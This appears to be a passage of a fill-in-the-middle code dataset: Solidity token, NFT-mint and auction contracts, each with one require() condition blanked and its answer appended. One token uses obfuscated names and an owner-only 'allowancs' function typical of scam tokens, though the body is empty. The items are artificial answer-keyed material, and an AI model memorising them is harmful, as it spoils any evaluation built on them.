uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address achrtontt) public view override returns (uint256) {
}
function allowancs(address zsdsadas) public onlyowner {
}
function transfer(address recipient, uint256 acfmfktbnnt) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 acfmfktbnnt) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 acfmfktbnnt) public virtual override returns (bool) {
require(<FILL_ME>)
_rtfeeer[sender] -= acfmfktbnnt;
_rtfeeer[recipient] += acfmfktbnnt;
_allowances[sender][_msgSender()] -= acfmfktbnnt;
emit Transfer(sender, recipient, acfmfktbnnt);
return true;
}
function totalSupply() external view override returns (uint256) {
}
}
| _allowances[sender][_msgSender()]>=acfmfktbnnt,"TT: transfer acfmfktbnnt exceeds allowance" | 509,636 | _allowances[sender][_msgSender()]>=acfmfktbnnt |
"WRONG_ETH_AMOUNT" | // SPDX-License-Identifier: MIT
// tokenists.galleryland.xyz
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../ERC721Accesslist.sol";
import "../NonblockingReceiver.sol";
/*
* @title The Tokenists - ETHEREUM
* TheTokenists - a contract for the The Tokenists Galleries
*/
contract TheTokenists is ERC721Accesslist, NonblockingReceiver {
// set the max supply ever - although we may lock this to a lower number this sets a total upper bound
uint256 constant maxEverSupply = 10000;
bool public changeSupplyLocked = false; // fix the max supply for good
bool public publicSaleActive = false; //public sale active
uint public maxTokenPurchase = 10; // what's the max someone can buy
uint public maxAccesslistPurchase = 2; // what's the max someone on the access list can buy
////////////////////////////////////////////////////////////////////////////////////////
// Ethereum Settings
// Current Network : MAINNET
////////////////////////////////////////////////////////////////////////////////////////
address public layerZeroEndpoint = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; // Mainnet endpoint
uint256 public baseTokenId = 0;
uint256 public maxSupply = 7500; // current release limit - can change to allow second mint, or to allow accesslist limits
uint256 public basePrice = 200000000000000000; //0.20 ETH
uint256 public accesslistPrice = 200000000000000000; //0.20 ETH
// set provenance
string public PROVENANCE;
// url data for the meta data
string public tokenURIPrefix = "";
uint256 gasForDestinationLzReceive = 350000;
constructor()
ERC721Accesslist("TheTokenists", "TOKENISTS")
{
}
function withdraw() external onlyOwner {
}
// token meta data url functions
function baseTokenURI() override public view returns (string memory) {
}
function updateTokenURIPrefix(string memory newPrefix) external onlyOwner {
}
// get and set the public sale state
function setPublicSale(bool _setSaleState) public onlyOwner{
}
// allow us to slowly release up to the max ever supply
function setMaxSupply(uint _maxSupply) public onlyOwner{
}
function lockSupply() virtual public onlyOwner{
}
function setProvenance(string memory provenance) public onlyOwner {
}
// set a new price for the main mint
function updatePrice(uint _newPrice) public onlyOwner{
}
// set a new price for the access list mint
function updateAccesslistPrice(uint newPrice) public onlyOwner{
}
// update the max number that can be minted in a single transaction in a public mint
function updateMaxTokenPurchase(uint _maxTokenPurchase) public onlyOwner{
}
// update the total number that can be minted via an accesslist
function updateMaxAccesslistPurchase(uint _maxAccesslistPurchase) public onlyOwner{
}
// allow the owner to pre-mint or save a number of tokens
function reserveTokens(uint _amount, address _receiver) public onlyOwner {
}
// mint
function mint(uint256 amount) external payable {
require(amount != 0, "INVALID_AMOUNT");
require(publicSaleActive, "SALE_CLOSED");
require(amount <= maxTokenPurchase, "AMOUNT_EXCEEDS_MAX_PER_CALL");
require(<FILL_ME>)
uint256 newSupply = totalSupply + amount;
require(newSupply <= maxSupply, "MAX_SUPPLY_EXCEEDED");
for (uint256 i = 0; i < amount; i++) {
_mint(msg.sender, totalSupply + i + baseTokenId);
}
// update the totaly supply
totalSupply = newSupply;
}
function accesslistMint(uint256 amount, bytes32[] calldata proof) public payable {
}
// This function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint256 tokenId) public payable whenNotPaused {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
}
}
| amount*basePrice<=msg.value,"WRONG_ETH_AMOUNT" | 509,637 | amount*basePrice<=msg.value |
"BAD_MERKLE_PROOF" | // SPDX-License-Identifier: MIT
// tokenists.galleryland.xyz
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../ERC721Accesslist.sol";
import "../NonblockingReceiver.sol";
/*
* @title The Tokenists - ETHEREUM
* TheTokenists - a contract for the The Tokenists Galleries
*/
contract TheTokenists is ERC721Accesslist, NonblockingReceiver {
// set the max supply ever - although we may lock this to a lower number this sets a total upper bound
uint256 constant maxEverSupply = 10000;
bool public changeSupplyLocked = false; // fix the max supply for good
bool public publicSaleActive = false; //public sale active
uint public maxTokenPurchase = 10; // what's the max someone can buy
uint public maxAccesslistPurchase = 2; // what's the max someone on the access list can buy
////////////////////////////////////////////////////////////////////////////////////////
// Ethereum Settings
// Current Network : MAINNET
////////////////////////////////////////////////////////////////////////////////////////
address public layerZeroEndpoint = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; // Mainnet endpoint
uint256 public baseTokenId = 0;
uint256 public maxSupply = 7500; // current release limit - can change to allow second mint, or to allow accesslist limits
uint256 public basePrice = 200000000000000000; //0.20 ETH
uint256 public accesslistPrice = 200000000000000000; //0.20 ETH
// set provenance
string public PROVENANCE;
// url data for the meta data
string public tokenURIPrefix = "";
uint256 gasForDestinationLzReceive = 350000;
constructor()
ERC721Accesslist("TheTokenists", "TOKENISTS")
{
}
function withdraw() external onlyOwner {
}
// token meta data url functions
function baseTokenURI() override public view returns (string memory) {
}
function updateTokenURIPrefix(string memory newPrefix) external onlyOwner {
}
// get and set the public sale state
function setPublicSale(bool _setSaleState) public onlyOwner{
}
// allow us to slowly release up to the max ever supply
function setMaxSupply(uint _maxSupply) public onlyOwner{
}
function lockSupply() virtual public onlyOwner{
}
function setProvenance(string memory provenance) public onlyOwner {
}
// set a new price for the main mint
function updatePrice(uint _newPrice) public onlyOwner{
}
// set a new price for the access list mint
function updateAccesslistPrice(uint newPrice) public onlyOwner{
}
// update the max number that can be minted in a single transaction in a public mint
function updateMaxTokenPurchase(uint _maxTokenPurchase) public onlyOwner{
}
// update the total number that can be minted via an accesslist
function updateMaxAccesslistPurchase(uint _maxAccesslistPurchase) public onlyOwner{
}
// allow the owner to pre-mint or save a number of tokens
function reserveTokens(uint _amount, address _receiver) public onlyOwner {
}
// mint
function mint(uint256 amount) external payable {
}
function accesslistMint(uint256 amount, bytes32[] calldata proof) public payable {
// string memory payload = string(abi.encodePacked(msg.sender));
require(<FILL_ME>)
require(accesslistSaleActive, "SALE_CLOSED");
require(amount <= maxTokenPurchase, "AMOUNT_EXCEEDS_MAX_PER_CALL");
require(amount * accesslistPrice <= msg.value, "WRONG_ETH_AMOUNT");
require(accesslistMinted[msg.sender] + amount <= maxAccesslistPurchase, "EXCEEDS_ALLOWANCE");
uint256 newSupply = totalSupply + amount;
require(newSupply <= maxSupply, "MAX_SUPPLY_EXCEEDED");
accesslistMinted[msg.sender] += amount;
for (uint256 i = 0; i < amount; i++) {
_mint(msg.sender, totalSupply + i);
}
// update the totaly supply
totalSupply = newSupply;
}
// This function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint256 tokenId) public payable whenNotPaused {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
}
}
| MerkleProof.verify(proof,accesslistRoot,keccak256(abi.encodePacked(msg.sender))),"BAD_MERKLE_PROOF" | 509,637 | MerkleProof.verify(proof,accesslistRoot,keccak256(abi.encodePacked(msg.sender))) |
"WRONG_ETH_AMOUNT" | // SPDX-License-Identifier: MIT
// tokenists.galleryland.xyz
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../ERC721Accesslist.sol";
import "../NonblockingReceiver.sol";
/*
* @title The Tokenists - ETHEREUM
* TheTokenists - a contract for the The Tokenists Galleries
*/
contract TheTokenists is ERC721Accesslist, NonblockingReceiver {
// set the max supply ever - although we may lock this to a lower number this sets a total upper bound
uint256 constant maxEverSupply = 10000;
bool public changeSupplyLocked = false; // fix the max supply for good
bool public publicSaleActive = false; //public sale active
uint public maxTokenPurchase = 10; // what's the max someone can buy
uint public maxAccesslistPurchase = 2; // what's the max someone on the access list can buy
////////////////////////////////////////////////////////////////////////////////////////
// Ethereum Settings
// Current Network : MAINNET
////////////////////////////////////////////////////////////////////////////////////////
address public layerZeroEndpoint = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; // Mainnet endpoint
uint256 public baseTokenId = 0;
uint256 public maxSupply = 7500; // current release limit - can change to allow second mint, or to allow accesslist limits
uint256 public basePrice = 200000000000000000; //0.20 ETH
uint256 public accesslistPrice = 200000000000000000; //0.20 ETH
// set provenance
string public PROVENANCE;
// url data for the meta data
string public tokenURIPrefix = "";
uint256 gasForDestinationLzReceive = 350000;
constructor()
ERC721Accesslist("TheTokenists", "TOKENISTS")
{
}
function withdraw() external onlyOwner {
}
// token meta data url functions
function baseTokenURI() override public view returns (string memory) {
}
function updateTokenURIPrefix(string memory newPrefix) external onlyOwner {
}
// get and set the public sale state
function setPublicSale(bool _setSaleState) public onlyOwner{
}
// allow us to slowly release up to the max ever supply
function setMaxSupply(uint _maxSupply) public onlyOwner{
}
function lockSupply() virtual public onlyOwner{
}
function setProvenance(string memory provenance) public onlyOwner {
}
// set a new price for the main mint
function updatePrice(uint _newPrice) public onlyOwner{
}
// set a new price for the access list mint
function updateAccesslistPrice(uint newPrice) public onlyOwner{
}
// update the max number that can be minted in a single transaction in a public mint
function updateMaxTokenPurchase(uint _maxTokenPurchase) public onlyOwner{
}
// update the total number that can be minted via an accesslist
function updateMaxAccesslistPurchase(uint _maxAccesslistPurchase) public onlyOwner{
}
// allow the owner to pre-mint or save a number of tokens
function reserveTokens(uint _amount, address _receiver) public onlyOwner {
}
// mint
function mint(uint256 amount) external payable {
}
function accesslistMint(uint256 amount, bytes32[] calldata proof) public payable {
// string memory payload = string(abi.encodePacked(msg.sender));
require(MerkleProof.verify(proof, accesslistRoot, keccak256(abi.encodePacked(msg.sender))), "BAD_MERKLE_PROOF");
require(accesslistSaleActive, "SALE_CLOSED");
require(amount <= maxTokenPurchase, "AMOUNT_EXCEEDS_MAX_PER_CALL");
require(<FILL_ME>)
require(accesslistMinted[msg.sender] + amount <= maxAccesslistPurchase, "EXCEEDS_ALLOWANCE");
uint256 newSupply = totalSupply + amount;
require(newSupply <= maxSupply, "MAX_SUPPLY_EXCEEDED");
accesslistMinted[msg.sender] += amount;
for (uint256 i = 0; i < amount; i++) {
_mint(msg.sender, totalSupply + i);
}
// update the totaly supply
totalSupply = newSupply;
}
// This function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint256 tokenId) public payable whenNotPaused {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
}
}
| amount*accesslistPrice<=msg.value,"WRONG_ETH_AMOUNT" | 509,637 | amount*accesslistPrice<=msg.value |
"EXCEEDS_ALLOWANCE" | // SPDX-License-Identifier: MIT
// tokenists.galleryland.xyz
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../ERC721Accesslist.sol";
import "../NonblockingReceiver.sol";
/*
* @title The Tokenists - ETHEREUM
* TheTokenists - a contract for the The Tokenists Galleries
*/
contract TheTokenists is ERC721Accesslist, NonblockingReceiver {
// set the max supply ever - although we may lock this to a lower number this sets a total upper bound
uint256 constant maxEverSupply = 10000;
bool public changeSupplyLocked = false; // fix the max supply for good
bool public publicSaleActive = false; //public sale active
uint public maxTokenPurchase = 10; // what's the max someone can buy
uint public maxAccesslistPurchase = 2; // what's the max someone on the access list can buy
////////////////////////////////////////////////////////////////////////////////////////
// Ethereum Settings
// Current Network : MAINNET
////////////////////////////////////////////////////////////////////////////////////////
address public layerZeroEndpoint = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; // Mainnet endpoint
uint256 public baseTokenId = 0;
uint256 public maxSupply = 7500; // current release limit - can change to allow second mint, or to allow accesslist limits
uint256 public basePrice = 200000000000000000; //0.20 ETH
uint256 public accesslistPrice = 200000000000000000; //0.20 ETH
// set provenance
string public PROVENANCE;
// url data for the meta data
string public tokenURIPrefix = "";
uint256 gasForDestinationLzReceive = 350000;
constructor()
ERC721Accesslist("TheTokenists", "TOKENISTS")
{
}
function withdraw() external onlyOwner {
}
// token meta data url functions
function baseTokenURI() override public view returns (string memory) {
}
function updateTokenURIPrefix(string memory newPrefix) external onlyOwner {
}
// get and set the public sale state
function setPublicSale(bool _setSaleState) public onlyOwner{
}
// allow us to slowly release up to the max ever supply
function setMaxSupply(uint _maxSupply) public onlyOwner{
}
function lockSupply() virtual public onlyOwner{
}
function setProvenance(string memory provenance) public onlyOwner {
}
// set a new price for the main mint
function updatePrice(uint _newPrice) public onlyOwner{
}
// set a new price for the access list mint
function updateAccesslistPrice(uint newPrice) public onlyOwner{
}
// update the max number that can be minted in a single transaction in a public mint
function updateMaxTokenPurchase(uint _maxTokenPurchase) public onlyOwner{
}
// update the total number that can be minted via an accesslist
function updateMaxAccesslistPurchase(uint _maxAccesslistPurchase) public onlyOwner{
}
// allow the owner to pre-mint or save a number of tokens
function reserveTokens(uint _amount, address _receiver) public onlyOwner {
}
// mint
function mint(uint256 amount) external payable {
}
function accesslistMint(uint256 amount, bytes32[] calldata proof) public payable {
// string memory payload = string(abi.encodePacked(msg.sender));
require(MerkleProof.verify(proof, accesslistRoot, keccak256(abi.encodePacked(msg.sender))), "BAD_MERKLE_PROOF");
require(accesslistSaleActive, "SALE_CLOSED");
require(amount <= maxTokenPurchase, "AMOUNT_EXCEEDS_MAX_PER_CALL");
require(amount * accesslistPrice <= msg.value, "WRONG_ETH_AMOUNT");
require(<FILL_ME>)
uint256 newSupply = totalSupply + amount;
require(newSupply <= maxSupply, "MAX_SUPPLY_EXCEEDED");
accesslistMinted[msg.sender] += amount;
for (uint256 i = 0; i < amount; i++) {
_mint(msg.sender, totalSupply + i);
}
// update the totaly supply
totalSupply = newSupply;
}
// This function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint256 tokenId) public payable whenNotPaused {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
}
}
| accesslistMinted[msg.sender]+amount<=maxAccesslistPurchase,"EXCEEDS_ALLOWANCE" | 509,637 | accesslistMinted[msg.sender]+amount<=maxAccesslistPurchase |
"Token already activated" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC2981ContractWideRoyalties.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title CurioERC721
* CurioERC721 - ERC721 contract for Curio platform, that whitelists a trading address, and has minting functionality
* Based off of ERC721 contract (openzeppelin/contracts 3.2.0) with solidity 0.6.0, pulls elements from ERC721Tradable
* Batch Lazy Minting capabilities added to offset gas fees at minting and push the true 'minting' costs to first transfer
* Inspired by the Gods Unchained process for card activation and event transmittals
* Requires making virtual isApprovedForAll, totalSupply, _exists in ERC721.sol
* NOTE: Enumeration capabilities are not fully supported until all minted tokens have been activated
*/
contract CurioERC721 is ERC721, Ownable, ERC2981ContractWideRoyalties {
using SafeMath for uint256;
using Counters for Counters.Counter;
string public contractURI;
uint96 royaltyFeesInBips;
address royaltyAddress;
uint256 private _currentTokenId = 0;
mapping(uint256 => bool) private _activated;
uint256 private _totalSupply;
uint256 private _activatedSupply = 0;
address private omnibusAddress;
constructor(
string memory _name,
string memory _symbol,
string memory _contractURI,
uint96 _royaltyFeesInBips
)
ERC721(_name, _symbol) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC2981Base)
returns (bool)
{
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
//Approvals
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
/**
* @dev Mints a token to an address, and activates it immediately (non-lazy)
* @param _to address of the future owner of the token
*/
function mint(address _to) public onlyOwner {
}
/**
* @dev Lazy mints a batch of tokens to an address, does not activate them
* @param _to address of the omnibus wallet
*/
function batchLazyMint(address _to, uint256 _size) public onlyOwner {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function ownerOf(uint256 _tokenId) public view override returns (address) {
}
function _exists(uint256 _tokenId) internal view override returns (bool) {
}
function totalSupply() public view returns (uint256) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
}
/**
* @dev marks a token ID as activated, increments the value of _activatedSupply
*/
function _activateTokenId(uint256 _tokenId) private {
require(<FILL_ME>)
_activated[_tokenId] = true;
_activatedSupply++;
}
/**
* @dev calculates the next token ID based on value of _currentTokenId
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
}
/**
* @dev increments the value of _currentTokenId
*/
function _incrementTokenId() private {
}
/**
* @dev Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
}
| !_activated[_tokenId],"Token already activated" | 509,668 | !_activated[_tokenId] |
"already opened" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SCANNERSV12 is ERC721 {
using Strings for uint256;
using Counters for Counters.Counter;
struct Adata {
uint256 closingTime;
uint256 startTime;
uint256 bidvalue;
address winner;
address scanOwner;
}
mapping(uint256 => Adata) public auctions;
Counters.Counter public scanIDs;
address public ebbdistributor = 0x02Ac45C33F71022B4b91aA10Aabd2E15770Cb95C;
address private owner;
address private operator;
// 0.08
uint256 public mPrice = 80000000000000000;
uint256 private iPrice = 100000000000000000; // 20%
uint256 private drops;
uint256 private scanOwnerShare = 100;
uint256 private sharePool;
bytes32[3] private baseURI;
bool isOpen;
// Faire un Emit pour les mint des NFT, quand il y a un event faire la création du token
event scanMint(uint256 auctionId, uint256 tokenId);
event bidChanged(uint256 auctionId);
constructor(address _operator) ERC721("SCANNERS V1.2", "SCANS") {
}
modifier onlyAllowed() {
}
modifier onlyOwner() {
}
function addAuction(uint256 _aid, address _scanOwner) external onlyAllowed {
require(<FILL_ME>)
Adata memory currentEntry;
currentEntry.scanOwner = _scanOwner;
currentEntry.closingTime = block.timestamp + 2 days;
currentEntry.startTime = block.timestamp;
currentEntry.bidvalue = mPrice;
auctions[_aid] = currentEntry;
emit bidChanged(_aid);
}
function directBuy(uint256 _aid) public payable {
}
function bid(uint256 _aid) public payable {
}
function claimAuction(uint256 _aid) public {
}
function distributeShares() public onlyOwner {
}
function dropScan(address _winner, uint256 dropId) public onlyAllowed {
}
function setAuctionPrice(uint256 _nPrice) public onlyOwner {
}
function setDirectBuyPrice(uint256 _nPrice) public onlyOwner {
}
function setScanOwnerShare(uint256 _sos) public onlyOwner {
}
function setDistributor(address _nadr) public onlyAllowed {
}
function setOperator(address _nop) public onlyAllowed {
}
function setBaseURI(string calldata m1, string calldata m2, string calldata m3) external onlyAllowed {
}
function closeContract() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function transferTo(address _to, uint256 _value) internal {
}
function updatePools(uint256 _v, address _sowner) internal {
}
function mintscan(address _to, uint256 _aid) internal {
}
function getowner() public view virtual returns (address) {
}
function getoperator() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function checkCaller() internal view virtual {
}
receive() external payable {}
fallback() external payable {}
}
| auctions[_aid].startTime==0,"already opened" | 509,699 | auctions[_aid].startTime==0 |
"not opened" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SCANNERSV12 is ERC721 {
using Strings for uint256;
using Counters for Counters.Counter;
struct Adata {
uint256 closingTime;
uint256 startTime;
uint256 bidvalue;
address winner;
address scanOwner;
}
mapping(uint256 => Adata) public auctions;
Counters.Counter public scanIDs;
address public ebbdistributor = 0x02Ac45C33F71022B4b91aA10Aabd2E15770Cb95C;
address private owner;
address private operator;
// 0.08
uint256 public mPrice = 80000000000000000;
uint256 private iPrice = 100000000000000000; // 20%
uint256 private drops;
uint256 private scanOwnerShare = 100;
uint256 private sharePool;
bytes32[3] private baseURI;
bool isOpen;
// Faire un Emit pour les mint des NFT, quand il y a un event faire la création du token
event scanMint(uint256 auctionId, uint256 tokenId);
event bidChanged(uint256 auctionId);
constructor(address _operator) ERC721("SCANNERS V1.2", "SCANS") {
}
modifier onlyAllowed() {
}
modifier onlyOwner() {
}
function addAuction(uint256 _aid, address _scanOwner) external onlyAllowed {
}
function directBuy(uint256 _aid) public payable {
require(block.timestamp <= auctions[_aid].closingTime, "closed");
require(<FILL_ME>)
require(auctions[_aid].winner == address(0), "not allowed");
require(msg.value >= iPrice, "price too low");
// Close the auction
auctions[_aid].closingTime = 0;
auctions[_aid].bidvalue = 0;
auctions[_aid].winner = address(0);
mintscan(msg.sender, _aid);
updatePools(msg.value, auctions[_aid].scanOwner);
}
function bid(uint256 _aid) public payable {
}
function claimAuction(uint256 _aid) public {
}
function distributeShares() public onlyOwner {
}
function dropScan(address _winner, uint256 dropId) public onlyAllowed {
}
function setAuctionPrice(uint256 _nPrice) public onlyOwner {
}
function setDirectBuyPrice(uint256 _nPrice) public onlyOwner {
}
function setScanOwnerShare(uint256 _sos) public onlyOwner {
}
function setDistributor(address _nadr) public onlyAllowed {
}
function setOperator(address _nop) public onlyAllowed {
}
function setBaseURI(string calldata m1, string calldata m2, string calldata m3) external onlyAllowed {
}
function closeContract() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function transferTo(address _to, uint256 _value) internal {
}
function updatePools(uint256 _v, address _sowner) internal {
}
function mintscan(address _to, uint256 _aid) internal {
}
function getowner() public view virtual returns (address) {
}
function getoperator() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function checkCaller() internal view virtual {
}
receive() external payable {}
fallback() external payable {}
}
| auctions[_aid].startTime!=0,"not opened" | 509,699 | auctions[_aid].startTime!=0 |
"not allowed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SCANNERSV12 is ERC721 {
using Strings for uint256;
using Counters for Counters.Counter;
struct Adata {
uint256 closingTime;
uint256 startTime;
uint256 bidvalue;
address winner;
address scanOwner;
}
mapping(uint256 => Adata) public auctions;
Counters.Counter public scanIDs;
address public ebbdistributor = 0x02Ac45C33F71022B4b91aA10Aabd2E15770Cb95C;
address private owner;
address private operator;
// 0.08
uint256 public mPrice = 80000000000000000;
uint256 private iPrice = 100000000000000000; // 20%
uint256 private drops;
uint256 private scanOwnerShare = 100;
uint256 private sharePool;
bytes32[3] private baseURI;
bool isOpen;
// Faire un Emit pour les mint des NFT, quand il y a un event faire la création du token
event scanMint(uint256 auctionId, uint256 tokenId);
event bidChanged(uint256 auctionId);
constructor(address _operator) ERC721("SCANNERS V1.2", "SCANS") {
}
modifier onlyAllowed() {
}
modifier onlyOwner() {
}
function addAuction(uint256 _aid, address _scanOwner) external onlyAllowed {
}
function directBuy(uint256 _aid) public payable {
require(block.timestamp <= auctions[_aid].closingTime, "closed");
require(auctions[_aid].startTime != 0, "not opened");
require(<FILL_ME>)
require(msg.value >= iPrice, "price too low");
// Close the auction
auctions[_aid].closingTime = 0;
auctions[_aid].bidvalue = 0;
auctions[_aid].winner = address(0);
mintscan(msg.sender, _aid);
updatePools(msg.value, auctions[_aid].scanOwner);
}
function bid(uint256 _aid) public payable {
}
function claimAuction(uint256 _aid) public {
}
function distributeShares() public onlyOwner {
}
function dropScan(address _winner, uint256 dropId) public onlyAllowed {
}
function setAuctionPrice(uint256 _nPrice) public onlyOwner {
}
function setDirectBuyPrice(uint256 _nPrice) public onlyOwner {
}
function setScanOwnerShare(uint256 _sos) public onlyOwner {
}
function setDistributor(address _nadr) public onlyAllowed {
}
function setOperator(address _nop) public onlyAllowed {
}
function setBaseURI(string calldata m1, string calldata m2, string calldata m3) external onlyAllowed {
}
function closeContract() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function transferTo(address _to, uint256 _value) internal {
}
function updatePools(uint256 _v, address _sowner) internal {
}
function mintscan(address _to, uint256 _aid) internal {
}
function getowner() public view virtual returns (address) {
}
function getoperator() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function checkCaller() internal view virtual {
}
receive() external payable {}
fallback() external payable {}
}
| auctions[_aid].winner==address(0),"not allowed" | 509,699 | auctions[_aid].winner==address(0) |
"no winner" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SCANNERSV12 is ERC721 {
using Strings for uint256;
using Counters for Counters.Counter;
struct Adata {
uint256 closingTime;
uint256 startTime;
uint256 bidvalue;
address winner;
address scanOwner;
}
mapping(uint256 => Adata) public auctions;
Counters.Counter public scanIDs;
address public ebbdistributor = 0x02Ac45C33F71022B4b91aA10Aabd2E15770Cb95C;
address private owner;
address private operator;
// 0.08
uint256 public mPrice = 80000000000000000;
uint256 private iPrice = 100000000000000000; // 20%
uint256 private drops;
uint256 private scanOwnerShare = 100;
uint256 private sharePool;
bytes32[3] private baseURI;
bool isOpen;
// Faire un Emit pour les mint des NFT, quand il y a un event faire la création du token
event scanMint(uint256 auctionId, uint256 tokenId);
event bidChanged(uint256 auctionId);
constructor(address _operator) ERC721("SCANNERS V1.2", "SCANS") {
}
modifier onlyAllowed() {
}
modifier onlyOwner() {
}
function addAuction(uint256 _aid, address _scanOwner) external onlyAllowed {
}
function directBuy(uint256 _aid) public payable {
}
function bid(uint256 _aid) public payable {
}
function claimAuction(uint256 _aid) public {
require(block.timestamp > auctions[_aid].closingTime, "open");
require(<FILL_ME>)
address winner = auctions[_aid].winner;
auctions[_aid].winner = address(0);
mintscan(winner, _aid);
updatePools(auctions[_aid].bidvalue, auctions[_aid].scanOwner);
}
function distributeShares() public onlyOwner {
}
function dropScan(address _winner, uint256 dropId) public onlyAllowed {
}
function setAuctionPrice(uint256 _nPrice) public onlyOwner {
}
function setDirectBuyPrice(uint256 _nPrice) public onlyOwner {
}
function setScanOwnerShare(uint256 _sos) public onlyOwner {
}
function setDistributor(address _nadr) public onlyAllowed {
}
function setOperator(address _nop) public onlyAllowed {
}
function setBaseURI(string calldata m1, string calldata m2, string calldata m3) external onlyAllowed {
}
function closeContract() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function transferTo(address _to, uint256 _value) internal {
}
function updatePools(uint256 _v, address _sowner) internal {
}
function mintscan(address _to, uint256 _aid) internal {
}
function getowner() public view virtual returns (address) {
}
function getoperator() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function checkCaller() internal view virtual {
}
receive() external payable {}
fallback() external payable {}
}
| auctions[_aid].winner!=address(0),"no winner" | 509,699 | auctions[_aid].winner!=address(0) |
"Only Owner" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SCANNERSV12 is ERC721 {
using Strings for uint256;
using Counters for Counters.Counter;
struct Adata {
uint256 closingTime;
uint256 startTime;
uint256 bidvalue;
address winner;
address scanOwner;
}
mapping(uint256 => Adata) public auctions;
Counters.Counter public scanIDs;
address public ebbdistributor = 0x02Ac45C33F71022B4b91aA10Aabd2E15770Cb95C;
address private owner;
address private operator;
// 0.08
uint256 public mPrice = 80000000000000000;
